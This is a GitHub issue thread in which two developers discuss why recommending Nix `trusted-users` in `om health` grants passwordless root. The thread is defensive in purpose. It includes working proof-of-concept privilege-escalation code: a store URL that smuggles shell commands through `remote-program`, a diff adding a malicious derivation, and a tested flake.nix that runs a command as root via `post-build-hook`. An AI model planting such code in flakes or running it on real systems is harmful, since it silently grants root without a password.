`om health` should not recommend insecure `trusted-users`

[brainrake]

Adding a user to trusted-user amounts to local privilege escalation, granting root access without password. The documentation also notes this.

https://nix.dev/manual/nix/2.24/command-ref/conf-file.html#conf-trusted-users

The exploit is trivial and easily hidden eg. in a maliciously crafted flake. accept-flake-config is another dangerous option that should be warned against, and the two insecure options amplify each other.

NixOS/nix#9649

While avoiding trusted-users, binary caches can be used by adding them to the system nix.conf in trusted-binary-keys and substituters (or trusted-substituters and enabled via CLI or user nix.conf if not used all the time).

om health should do the opposite of what it currently does: check if any users or groups other than root are present, report an error and recommend removing them.

[srid]

While avoiding trusted-users, binary caches can be used by adding them to the system nix.conf in trusted-binary-keys and substituters (or trusted-substituters and enabled via CLI or user nix.conf if not used all the time).

Not sure if I parsed that correctly, but doesn't it unconditionally require sudo access, to edit the global nix.conf? Or, are you saying that you can add & trust a new cache at the user level? Note that cachix itself recommends (and still requires, IIRC) trusted-users: cachix/cachix#612

The exploit is trivial and easily hidden eg. in a maliciously crafted flake.

Assuming we are not using --accept-flake-config for the moment (which I'm mostly convinced that we should probably just remove), how would this exploit work in the specific case of being a trusted-users?
NixOS/nix#9649 (comment) requires you to run nix commands, passing it NIX_CONFIG env var. But you are saying you can do the exploit within a flake itself (sans --accept-flake-config)?

[brainrake]

Correct, adding a cache requires sudo, as it should (it affects the whole system). Same as adding trusted-users does, except adding a cache doesn't also add a trivially exploitable local privilege escalation vulnerability (assuming the cache is trustworthy).

What I found useful (esp. when using many caches) is to add the cache to trusted-substituters instead of substituters, in which case it is trusted but not enabled (so doesn't slow down lookup) and can be enabled by a non-root user (eg. by trusting a setting from a flake).

Correct, cachix didn't fix this either, I'll take it up with the author.

The exploit without --accept-flake-config probably(?) does require running commands outside the sandbox, but that can be hidden in a flake (in a less expected place eg. nix develop) or non-flake or anywhere really, since users usually don't expect commands to gain root without asking for password.
Here's an alternative exploit that doesn't use an environment variable:
NixOS/nix#6672 (comment)

[srid]

Here's an alternative exploit that doesn't use an environment variable:
NixOS/nix#6672 (comment)

From the linked comment,

nix store ping --store ssh-ng://localhost?remote-program=whoami

FWIW, this is what I get:

---

What I was wondering is this: can one submit a PR modifying flake.nix such as to trigger this exploit in CI, especially on darwin where sandbox is disabled?

I tried the following on https://github.com/srid/haskell-template

diff --git a/nix/modules/flake-parts/haskell.nix b/nix/modules/flake-parts/haskell.nix
index 28a2979..fd0817d 100644
--- a/nix/modules/flake-parts/haskell.nix
+++ b/nix/modules/flake-parts/haskell.nix
@@ -58,5 +58,11 @@
     # Default package & app.
     packages.default = self'.packages.haskell-template;
     apps.default = self'.apps.haskell-template;
+    packages.exploit = pkgs.runCommandNoCC "expoit" { buildInputs = [pkgs.nix]; } ''
+      echo "USER=$USER"
+      export HOME=tmp && mkdir $HOME
+      export NIX_CONFIG="post-build-hook = whoami"
+      nix build nixpkgs#hello --rebuild --print-build-logs > $out
+    '';
   };
 }

But this didn't work, as Nix seems to ignore it:

expoit> USER=
expoit> warning: ignoring the client-specified setting 'post-build-hook', because it is a restricted setting and you are not a trusted user
expoit> warning: ignoring the client-specified setting 'post-build-hook', because it is a restricted setting and you are not a trusted user

system info:

❯ : nix --version ; nix-store --version
nix (Nix) 2.24.11
nix-store (Nix) 2.24.11

❯ : nix config show | grep -E "(sandbox =|trusted-users =|system =)"
eval-system =
sandbox = false
system = aarch64-darwin
trusted-users = root root srid

[brainrake]

Right, that needed some more exploit engineering to actually print the user. Here you go:

nix store info --store "ssh-ng://localhost?remote-program=bash%20-c%20whoami;whoami%20--"

It should print root twice.

The exploit try with USER won't work because the USER env var is not set, I think that is done by the login process or the shell. Also it seems like the user is not in trusted-users, maybe nix daemon needs to be restarted.

Wether this works in CI depends on the CI setup. I usually don't build PRs from outside the repo, instead verify the PR first and then push to the repo.

[srid]

This is what I get:

❯ nix store info --store "ssh-ng://localhost?remote-program=bash%20-c%20whoami;whoami%20--"
Store URL: ssh-ng://
error: cannot open connection to remote store 'ssh-ng://': error: protocol mismatch, got 'srid
              srid'

Mostly I'm just trying to find one nix run'able (or nix build'able ) repro to better understand the scope of this exploit.

[brainrake]

Ok, let me double check, I may have cargo culted the store exploit from somewhere, it was some time ago. And I didn't actually enable trusted-users to check it just now when I updated it to print the user. I'm sure the post-build-hook one used to work though. And setting the env var and calling nix should be straightforward.

[brainrake]

Ok, just tested it, here's a flake.nix that works with nix run

{
  inputs.nixpkgs.url = "github:NixOS/nixpkgs";
  outputs = inputs:
    {
      packages.x86_64-linux.default = inputs.nixpkgs.legacyPackages.x86_64-linux.writeShellScriptBin "default" ''
        #!/bin/sh
        export NIX_CONFIG="post-build-hook = whoami"
        nix build nixpkgs#hello --rebuild --print-build-logs
      '';
    };
}

❯ nix run
...
hello (post)> root
❯ nix --version
nix (Nix) 2.24.11

[srid]

I guess I should have kept in mind that nix run will allow you to run about anything anyway, and thus should not have mentioned it.

Is it possible to trigger this exploit through nix build? Otherwise, if I understand correctly, the exploit cannot be triggered just by realising Nix derivations.

[brainrake]

With extra assumptions (sandbox is enabled, sandbox is unbreakable, accept-flake-config is false, user doesn't accept extra flake config, no other config is exploitable to run something outside the sandbox, and who knows what else) it may be tricky to exploit this during realisation. But that is only a small part of the attack surface. Plus most of the time you build something to run it.
It might not directly affect CI if configured correctly (eg. Hercules CI needs to be in trusted-users but doesn't call nix binary and has extra mitigation).
It should most definitely not be recommended for users' work laptops, as most will have no idea this completely circumvents the password requirement for sudo.

[brainrake]

No further thoughts?

[srid]

@brainrake Adding $USER to trusted-users is the only way we can allow the user to add/use caches (on per-project basis) without needing sudo (to update /etc/nix/nix.conf and then manually restart the nix-daemon on macOS). It is also better UX wise. But I see the security angle (even though it is tricky to exploit), so I'll disable this check by default for now, until a better cache configuration UX comes up.